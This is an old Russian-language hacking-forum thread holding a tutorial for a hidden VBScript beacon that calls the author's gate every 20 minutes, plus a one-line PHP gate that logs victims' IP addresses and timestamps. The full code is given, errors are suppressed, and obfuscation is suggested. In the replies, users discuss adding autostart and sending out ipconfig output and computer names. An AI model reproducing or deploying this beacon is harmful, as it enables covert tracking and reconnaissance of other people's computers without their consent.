VBS: отправка IP на PHP гейт

Тема в разделе "Статьи", создана пользователем lytgeygen, 22 сен 2010.

  1. lytgeygen
    lytgeygen pacifiste maniaque Новичок
    Симпатии:
    59
    В этой статье я напишу как сделать отправку на PHP гейт IP адреса. В конце стать у нас получиться VB скрипт состоящий из 10 строк (если не шифровать), PHP скрипт из 1 строки (не считая тегов <?php ?>). Для того что бы сделать запрос на гейт мы будем использоватьв скрипте COM-объект XMLHttpRequest
    определим в скрипте одну переменную:
    Код:
    Dim html
    она нужна для объекта, теперь создадим этот объект:
    Код:
    Set html = CreateObject("Microsoft.XMLHTTP")
    Теперь делаем запрос на гейт:
    Код:
    With html
.Open "GET", "http://lytgeygen.ru/ipgate.php", False
.send
End With
    там где http://lytgeygen.ru/ipgate.php укажите свой путь до гейта
    Собственно скрипт уже является рабочим, но он отправит IP только один раз, теперь реализуем отправку через каждые 20 минут, для этого нам потребуется ещё 3 строки, полный код скрипта выглядит вот так:
    Код:
    On Error Resume Next
Dim html
Do
Set html = CreateObject("Microsoft.XMLHTTP")
With html
.Open "GET", "http://lytgeygen.ru/ipgate.php", False
.send
End With
WScript.sleep (1200000)
loop
    Теперь напишем код для гейта, гейт будет сохранять ип, дату и время и всё одной строкой:
    PHP:
    <?php
    file_put_contents    ('ipdata.txt', $_SERVER['REMOTE_ADDR'].' – '.date("Y-m-d H:i:s")."\r\n",FILE_APPEND);
    ?>
    для работы скрипта нужно создать файл ipdata.txt в папке с гейтом и дать права на запись файлу.
    Это всё, ещё можно зашифровать vbs скрипт для защиты от ламеров… [​IMG]
    файлы к статье: скачать
     
    22 сен 2010
    4 пользователям это понравилось.
  2. _SEREGA_
    _SEREGA_ Новичок
    Симпатии:
    0
    Статья просто офигейнейшая!!!
     
    27 окт 2010
  3. lytgeygen
    lytgeygen pacifiste maniaque Новичок
    Симпатии:
    59
    _SEREGA_,
    Нужны сообщения, набирай более адекватным способом, но в любом случае почитай правила что бы не уходить с форума забаненым раньше времени
     
    27 окт 2010
  4. pigata
    pigata Новичок
    Симпатии:
    1
    nice tuto in PHP :)
     
    14 июн 2011
  5. winster
    winster Guest
    спасибо пригодилось .... надо еще автозагрузку скрипта сделать ну это я сам...
     
    16 июн 2011
  6. visokosnik
    visokosnik Новичок
    Симпатии:
    0
    как добавить в скрипт что бы он отсылал не только внешний ip но и ipconfig/all и %ComputerName%
     
    Последнее редактирование: 5 май 2012
    4 май 2012
  7. moonden
    moonden Новичок
    Симпатии:
    0
    обновите пожалуйста файлы для загрузки, ибо не качаются
     
    21 сен 2012
  8. onthar
    onthar Продвинутый
    Симпатии:
    224
    moonden, коды файлов приведены в первом посте, создать файлы самостоятельно с указанным содержимым не так сложно, не правда ли?
     
    21 сен 2012
  9. FanOfGun
    FanOfGun Продвинутый
    Симпатии:
    14
    3 дек 2012
Загрузка...